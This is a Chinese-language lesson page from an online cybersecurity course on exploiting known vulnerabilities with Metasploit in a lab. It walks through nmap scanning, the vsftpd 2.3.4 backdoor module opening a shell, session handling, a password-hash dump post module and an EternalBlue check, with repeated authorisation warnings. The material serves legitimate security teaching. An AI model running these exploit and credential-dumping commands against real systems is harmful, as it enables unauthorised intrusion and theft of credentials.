利用已知漏洞
在实验环境中对存在漏洞的目标使用漏洞利用模块,并解读会话输出。
利用已知漏洞 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 2 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。
先明确道德与授权
只有针对您拥有的系统,或明确获得书面授权进行测试的系统,漏洞利用才是合法的。这里的所有示例都针对经过授权的实验室环境。未经授权进行漏洞利用属于刑事犯罪。
实验室设置建议
请使用专门设计为易受攻击的虚拟机:Metasploitable2/3、DVWA、VulnHub 机器,或使用 HackTheBox/TryHackMe 进行合法练习。除非拥有已签署的范围文档,否则绝不要在生产环境或真实系统上进行测试。
# Download Metasploitable2
# https://sourceforge.net/projects/metasploitable/
# Or use VulnHub
# https://www.vulnhub.com/
# Network: host-only adapter (isolated)漏洞利用前的侦察
始终先进行枚举,再执行漏洞利用。在选择漏洞利用程序前,先确认确切的服务版本、OS 和上下文。版本不匹配可能导致漏洞利用失败或系统崩溃。
sudo nmap -sV -O 192.168.1.100
# Identify:
# - OS version
# - Service + exact version
# - Open ports
# Then search Metasploit for matching exploit选择正确的漏洞利用程序
按服务名称和版本搜索。优先选择等级为 优秀 或 极佳 的模块。阅读 info,确认目标平台和版本范围相匹配。
msf6 > search vsftpd 2.3.4
# exploit/unix/ftp/vsftpd_234_backdoor
# Rank: Excellent
msf6 > info exploit/unix/ftp/vsftpd_234_backdoor配置并运行漏洞利用程序
设置 RHOSTS(远程目标)、LHOST(用于反向连接的您的 IP)、LPORT(监听端口),选择载荷,然后运行。留意会话创建情况或错误消息。
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set payload cmd/unix/interact
msf6 > run
# [*] Command shell session 1 opened解读结果
成功的漏洞利用会打开一个会话。失败的漏洞利用会显示错误消息:连接被拒绝(端口未开放)、漏洞利用失败(版本错误)、未创建会话(载荷未能连接回去)。
# Success:
[*] Started reverse TCP handler
[*] Command shell session 1 opened
# Failure:
[-] Exploit aborted: Bad return value from check
[-] Exploit failed: No session was created与会话交互
漏洞利用完成后,使用 sessions -i 与会话交互。基本的命令行会话会提供终端;Meterpreter 会话则提供功能丰富的 API。
msf6 > sessions # list all sessions
msf6 > sessions -i 1 # interact with session 1
# Once inside:
id
whoami
ifconfig
uname -a后台运行与多会话
按下 Ctrl+Z 可将会话置于后台并返回 msfconsole。这样您就可以管理多个会话,或针对特定会话运行后渗透模块。
# Background active session
Ctrl+Z
# List sessions
msf6 > sessions
# Run post module against session 1
msf6 > use post/linux/gather/hashdump
msf6 > set SESSION 1
msf6 > run检查命令
许多漏洞利用模块都实现了 check 命令,可以在不实际执行漏洞利用的情况下测试目标是否存在漏洞。如果可用,请始终先运行 check。
msf6 exploit(ms17_010_eternalblue) > check
# [+] 192.168.1.100:445 - The target is vulnerable.
# Or:
# [-] 192.168.1.100:445 - The target is not vulnerable.漏洞利用可靠性注意事项
漏洞利用可能导致服务崩溃、触发警报或留下日志。在生产环境评估中,请在低流量时段安排漏洞利用,准备回滚方案,并在执行任何破坏性操作前确认备份存在。
记录漏洞利用过程
请记录:时间戳、目标 IP 和端口、使用的漏洞利用模块、CVE 编号、使用的载荷、获取的会话以及证据(屏幕截图或终端输出)。这些内容是报告中证明漏洞存在的依据。
快速检查
Metasploit 的“check”命令有什么作用?
总结:利用漏洞
符合道德规范的漏洞利用遵循清晰的流程:获得书面授权,仔细进行枚举,选择匹配的漏洞利用程序,阅读模块信息(如果可用则先运行 check),执行并完整记录。绝不要在未经授权的情况下利用漏洞——技术能力与道德边界密不可分。
常见问题解答
「利用已知漏洞」课时是免费的吗?
是的 — 「利用已知漏洞」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cyber Security Academy 课程的其余内容,请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。
「利用已知漏洞」这节课中我会学到什么?
在实验环境中对存在漏洞的目标使用漏洞利用模块,并解读会话输出。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Cyber Security Academy 需要有经验吗?
无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 2 节课,共 4 节。
「利用已知漏洞」课时需要多长时间?
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。
我能在这节 Cyber Security Academy 课中编写并运行代码吗?
能。每节 Cyber Security Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。